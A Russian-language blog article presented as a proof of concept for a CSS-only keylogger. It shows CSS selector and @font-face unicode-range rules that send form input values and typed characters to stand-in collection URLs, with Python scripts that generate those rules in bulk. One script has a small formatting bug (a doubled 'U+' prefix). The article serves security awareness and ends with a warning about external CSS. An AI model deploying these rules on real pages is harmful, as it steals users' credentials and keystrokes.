Pull to refresh

Создаем CSS кейлоггер

Reading time 4 min
Views 33K

Часто бывает так, что внешние JS файлы выглядят как угроза для клиента, в то время как внешнему CSS не придают особого значения. Казалось бы, как CSS правила могут угрожать безопасности вашего приложения, и собирать логины? Если вы считаете что это невозможно, то пост будет вам полезен.


Мы рассмотрим на примерах, как можно реализовать простейший кейлоггер имея доступ только к CSS файлу, подключенному к странице-жертве.


Вступление


Не так давно я написал пост как можно отслеживать действия пользователей с помощью CSS, на который получил вопрос формата "можно ли собрать данные формы с помощью CSS". Возможно, c первого взгляда, покажется что это невозможно. Но давайте посмотрим на CSS селекторы, принимая во внимание, что применять их мы будем к тегу input type="text".


В первую очередь, кажется логичным использовать для этих целей селектор атрибутов
вида input[value^="login"], который позволяет выбрать поля текстовое содержание которых начинается с строки "login".


Мы можем сгенерировать словарь слов, и создать множество CSS правил по шаблону jsfiddle:


input[value^="my_login1"] {
  background: url("https://example.com/save-login/my_login");
} 
input[value^="other_text"] {
  background: url("https://example.com/save-login/other_text");
}  
// ...

У данного подхода есть значительный недостаток, такая схема будет отправлять запросы только в случае, если у тега input изначально был установлен атрибут value на серверной стороне. С другой стороны, бывает так, что после отправки формы пользователю возвращается та же самая форма (с уже заполненными полями) но с списком необходимых исправлений. В таком случае наш метод отработает на 100%.


Напишем небольшой скрипт, для генерации CSS с нужными комбинациями:


import itertools
from string import Template

alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]

cssTemplate = Template('input[value^="$password"]{background:url("$backend/$password");}').safe_substitute(backend = 'https://x.x/save')

for subset in itertools.combinations(alphabet, 4):
    print(Template(cssTemplate).substitute(password = ''.join(subset)))

Таким образом мы получим 58905 правил, которые после обработки GZIP, вмещаются в файл размером 350K. В случае если на странице-жертве будет обнаружено поле, в котором текст совпадает с одним из наших правил (скажем, начинается со слова "XXXX") — мы получим GET запрос на x.x/save/XXXX.


Работаем с пользовательским вводом


Предварительно заполненные поля в форме встречаются очень редко. Да еще содержимое этого поля может не совпасть с специальным словарем, который мы сгенерировали в предыдущем шаге. Было бы неплохо иметь возможность получать информацию, в тот момент, когда пользователь вводит ее в текстовое поле.


Для этого лучше всего подходит правило @font-face, которое позволяет подключить свой шрифт. А также инструкция unicode-range, которая позволяет сегментировать свой шрифт, явно указывая к каким unicode code point относиться тот или иной файл.


На практике, это обычно выглядит как разделение шрифта на несколько файлов, по языковому признаку (например latin, greek, cyrillic), чтобы клиент загрузил только ту часть шрифта, которая представлена на странице. Возможно вы встречались с таким подходом используя fonts.google.com:


/* https://fonts.googleapis.com/css?family=Roboto:400&subset=latin-ext,cyrillic-ext */
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v18/mErvLBYg_cXG3rLvUsKT_fesZW2xOQ-xsNqO47m55DA.woff2) format('woff2');
  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}

Подобным образом, мы можем создать собственный шрифт, и указать для каждого символа отдельное правило. Тем самым заставляя браузер делать GET запрос как только этот символ понадобиться для отображения.


Рассмотрим такой пример jsfiddle:


@font-face {
  font-family: spyFont;
  src: url(c/d/keylogger/a), local(Arial);
  unicode-range: U+0061;
}
input {
  font-family: spyFont, sans-serif;
}

В данном случае U+0061 соответствует символу "A". При вводе символа мы получим GET запрос к c/d/keylogger/a.


Рассмотрим небольшой скрипт, который позволит сгенерировать шрифт для символов по словарю:


from string import Template

alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]

cssTemplate = Template('@font-face {font-family:$fontName; src:url(/keylogger/$char), local(Impact); unicode-range: U+$codepoint;}').safe_substitute(fontName = 'spyFont')

for char in alphabet:
    codepoint = ('U+%04x' % ord(char))
    print(Template(cssTemplate).substitute(char = char, codepoint = codepoint))

Такими правилами, мы создадим шрифт который будет логировать ввод пользователя на наш сервер. Данный подход тоже не идеален: запросы на символ приходят один раз на каждый символ. Другими словами, если пользователь введет "АА", мы получим один GET.


Подведем итоги


Применив комбинацию статичного словаря с директивами input[value^="XX"] и правил unicode-range для каждого символа в отдельности, мы сможем собрать уже значительный набор данных для предсказания актуального ввода пользователя. Пример такой комбинации вы можете найти тут.


Будьте осторожны с подключаемыми CSS файлами из внешних источников.


Данный пост написан исключительно как proof-of-concept в ознакомительных целях.

Tags:
Hubs:
+86
Comments 32
Comments Comments 32

Articles